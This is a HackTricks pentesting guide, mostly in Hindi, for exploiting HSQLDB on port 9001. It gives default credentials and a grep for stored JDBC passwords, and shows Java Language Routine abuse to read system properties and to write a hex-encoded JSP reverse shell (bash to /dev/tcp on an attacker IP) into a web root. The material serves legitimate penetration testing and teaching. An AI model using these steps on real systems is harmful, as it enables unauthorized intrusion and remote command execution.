9001 - Pentesting HSQLDB

Support HackTricks

Basic Information

HSQLDB (HyperSQL DataBase) एक प्रमुख SQL रिलेशनल डेटाबेस सिस्टम है जो Java में लिखा गया है। यह एक छोटा, तेज मल्टीथ्रेडेड और ट्रांजैक्शनल डेटाबेस इंजन प्रदान करता है जिसमें इन-मेमोरी और डिस्क-आधारित टेबल होते हैं और यह एम्बेडेड और सर्वर मोड का समर्थन करता है।

डिफ़ॉल्ट पोर्ट: 9001

9001/tcp open  jdbc      HSQLDB JDBC (Network Compatibility Version 2.3.4.0)

Information

Default Settings

ध्यान दें कि डिफ़ॉल्ट रूप से यह सेवा संभवतः मेमोरी में चल रही है या लोकलहोस्ट से बंधी हुई है। यदि आपने इसे पाया है, तो आपने शायद किसी अन्य सेवा का शोषण किया है और विशेषाधिकार बढ़ाने की कोशिश कर रहे हैं।

डिफ़ॉल्ट क्रेडेंशियल आमतौर पर sa होते हैं जिनका पासवर्ड खाली होता है।

यदि आपने किसी अन्य सेवा का शोषण किया है, तो संभावित क्रेडेंशियल्स के लिए खोजें।

grep -rP 'jdbc:hsqldb.*password.*' /path/to/search

Note the database name carefully - you’ll need it to connect.

Info Gathering

Connect to the DB instance by downloading HSQLDB and extracting hsqldb/lib/hsqldb.jar. Run the GUI app (eww) using java -jar hsqldb.jar and connect to the instance using the discovered/weak credentials.

Note the connection URL will look something like this for a remote system: jdbc:hsqldb:hsql://ip/DBNAME.

Tricks

Java Language Routines

We can call static methods of a Java class from HSQLDB using Java Language Routines. Do note that the called class needs to be in the application’s classpath.

JRTs can be functions or procedures. Functions can be called via SQL statements if the Java method returns one or more SQL-compatible primitive variables. They are invoked using the VALUES statement.

If the Java method we want to call returns void, we need to use a procedure invoked with the CALL statement.

Reading Java System Properties

Create function:

CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'

कार्यवाही फ़ंक्शन:

VALUES(getsystemproperty('user.name'))

आप यहाँ सिस्टम प्रॉपर्टीज़ की सूची पा सकते हैं।

फ़ाइल में सामग्री लिखें

आप com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename जावा गैजेट का उपयोग कर सकते हैं जो JDK में स्थित है (जो एप्लिकेशन के क्लास पाथ में ऑटो लोड होता है) कस्टम प्रक्रिया के माध्यम से डिस्क पर हेक्स-कोडेड आइटम लिखने के लिए। 1024 बाइट्स का अधिकतम आकार नोट करें

प्रक्रिया बनाएँ:

CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'

प्रक्रिया निष्पादित करें:

call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
HackTricks का समर्थन करें

Last updated